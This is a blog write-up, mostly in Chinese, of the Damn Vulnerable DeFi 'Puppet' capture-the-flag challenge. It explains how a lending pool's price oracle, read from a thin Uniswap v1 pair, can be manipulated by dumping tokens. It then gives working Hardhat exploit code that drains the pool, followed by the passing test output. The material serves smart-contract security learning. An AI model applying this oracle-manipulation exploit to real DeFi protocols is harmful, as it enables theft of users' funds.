# Damn Vulnerable DeFi 挑战记录 #8 - Puppet **Published by:** [Runstar](https://paragraph.com/@runstar/) **Published on:** 2022-07-28 **URL:** https://paragraph.com/@runstar/damn-vulnerable-defi-8-puppet ## Content Challenge #8 - Puppet There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity. There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity. Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool. See the contracts Complete the challenge UniswapV1 文档 目标: 从借贷池中偷走所有token after(async function () { /** SUCCESS CONDITIONS */ // Attacker has taken all tokens from the pool expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0"); expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE); }); 代码解析: PuppetPool.sol 2倍超额抵押借贷池合约 borrow 借款函数 check 抵押金额为借款额的两倍 返还多余金额 借走DVT token calculateDepositRequired 计算额定两倍抵押 _computeOraclePrice 将uniswap池中的价格作为预言机 function _computeOraclePrice() private view returns (uint256) { // calculates the price of the token in wei according to Uniswap pair return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair); } 攻击思路: const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10"); const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10"); const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000"); const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25"); const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000"); 借贷池预言机来自于uniswap, 由于我们拥有25ETH, 1000DVT, uniswap池中只有10ETH, 10DVT流动性过低, 因此可以轻易操控uniswap池中币对价格,从而轻易贷出DVT token 卖出所有DVT砸盘拉低token价格 此时由于DVT价格过低, 通过借贷池超额抵押直接换出所有DVT token(不需要还款) 代码示例: it("Exploit", async function () { /** CODE YOUR EXPLOIT HERE */ await this.token .connect(attacker) .approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE); await this.uniswapExchange .connect(attacker) .tokenToEthSwapInput( ATTACKER_INITIAL_TOKEN_BALANCE.sub(10), 1, (await ethers.provider.getBlock("latest")).timestamp * 2, ); const collateral = await this.lendingPool.calculateDepositRequired( POOL_INITIAL_TOKEN_BALANCE, ); console.log(collateral); await this.lendingPool .connect(attacker) .borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral }); }); 运行通过 ❯ yarn run puppet yarn run v1.22.19 warning ../../package.json: No license field $ yarn hardhat test test/puppet/puppet.challenge.js warning ../../package.json: No license field $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js [Challenge] Puppet BigNumber { _hex: '0x0110e5bbd907e9d0c0', _isBigNumber: true } ✓ Exploit (111ms) 1 passing (2s) Done in 4.18s. Twitter: @0xRunstar ## Publication Information - [Runstar](https://paragraph.com/@runstar/): Publication homepage - [All Posts](https://paragraph.com/@runstar/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@runstar): Subscribe to updates - [Twitter](https://twitter.com/0xRunstar): Follow on Twitter